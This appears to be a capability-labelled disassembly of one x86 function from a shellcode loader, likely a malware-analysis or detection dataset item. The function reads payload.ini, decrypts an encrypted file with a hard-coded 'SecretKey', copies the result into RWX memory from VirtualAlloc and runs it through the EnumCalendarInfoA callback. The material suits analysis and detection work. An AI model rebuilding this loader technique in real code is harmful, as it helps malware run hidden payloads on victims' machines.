Function at 0x401130
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x42b080]
xor eax, ebp
mov dword [ebp - 4], eax
push str.payload.ini
lea ecx, [ebp - 0x40]
call fcn.00402e40
push 1
push 0x40
push 1
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x1ec]
call fcn.00402ae0
mov ecx, dword [ebp - 0x1ec]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0x1ec]
call fcn.00403d70
movzx eax, al
test eax, eax
je 0x4011ce
push 0x4024e0
lea ecx, [ebp - 0x40]
push ecx
push str.open_config_file_error:
push 0x42c110
call fcn.00401530
add esp, 8
push eax
call fcn.00401500
add esp, 8
mov ecx, eax
call fcn.00403d50
mov dword [ebp - 0x54], 1
lea ecx, [ebp - 0x1ec]
call fcn.00404000
lea ecx, [ebp - 0x40]
call fcn.004039b0
mov eax, dword [ebp - 0x54]
jmp 0x401404
lea ecx, [ebp - 0x28]
call fcn.00402ec0
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x1ec]
push eax
call fcn.00402710
add esp, 8
lea ecx, [ebp - 0x1ec]
call fcn.00405b00
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x134]
call fcn.00402ae0
mov edx, dword [ebp - 0x134]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0x134]
call fcn.00403d70
movzx ecx, al
test ecx, ecx
je 0x401285
push 0x4024e0
lea edx, [ebp - 0x28]
push edx
push str.open_encrypted_file_error:
push 0x42c110
call fcn.00401530
add esp, 8
push eax
call fcn.00401500
add esp, 8
mov ecx, eax
call fcn.00403d50
mov dword [ebp - 0x58], 1
lea ecx, [ebp - 0x134]
call fcn.00404000
lea ecx, [ebp - 0x28]
call fcn.004039b0
lea ecx, [ebp - 0x1ec]
call fcn.00404000
lea ecx, [ebp - 0x40]
call fcn.004039b0
mov eax, dword [ebp - 0x58]
jmp 0x401404
push 2
push 0
push 0
lea ecx, [ebp - 0x134]
call fcn.00406de0
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x134]
call fcn.004074b0
mov ecx, eax
call fcn.00403e40
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
lea ecx, [ebp - 0x134]
call fcn.00406de0
lea ecx, [ebp - 0x45]
call fcn.00402aa0
push eax
mov ecx, dword [ebp - 0x44]
push ecx
lea ecx, [ebp - 0x74]
call fcn.00403000
mov edx, dword [ebp - 0x44]
xor eax, eax
push eax
push edx
lea ecx, [ebp - 0x74]
call fcn.00405730
push eax
lea ecx, [ebp - 0x134]
call fcn.00406c10
lea ecx, [ebp - 0x134]
call fcn.00405b00
mov ecx, dword [str.SecretKey]
mov dword [ebp - 0x10], ecx
mov edx, dword [0x42120c]
mov dword [ebp - 0xc], edx
mov ax, word [0x421210]
mov word [ebp - 8], ax
mov dword [ebp - 0x5c], 9
mov ecx, dword [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x44]
push eax
lea ecx, [ebp - 0x74]
call fcn.00405730
push eax
call fcn.004010e0
add esp, 0x10
mov ecx, dword [ebp - 0x44]
push ecx
call fcn.00408d2d
add esp, 4
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x74]
call fcn.00405e90
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x74]
call fcn.004058e0
mov ecx, dword [eax]
push ecx
call fcn.00402450
add esp, 0xc
push 0x40
push 0x1000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x50]
push edx
call fcn.00409b00
add esp, 0xc
push 0x15
push 0xffffffffffffffff
push 0x400
mov eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
push edx
call fcn.00408d36
add esp, 4
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x74]
call fcn.00403a50
lea ecx, [ebp - 0x134]
call fcn.00404000
lea ecx, [ebp - 0x28]
call fcn.004039b0
lea ecx, [ebp - 0x1ec]
call fcn.00404000
lea ecx, [ebp - 0x40]
call fcn.004039b0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408d3b
mov esp, ebp
pop ebp
ret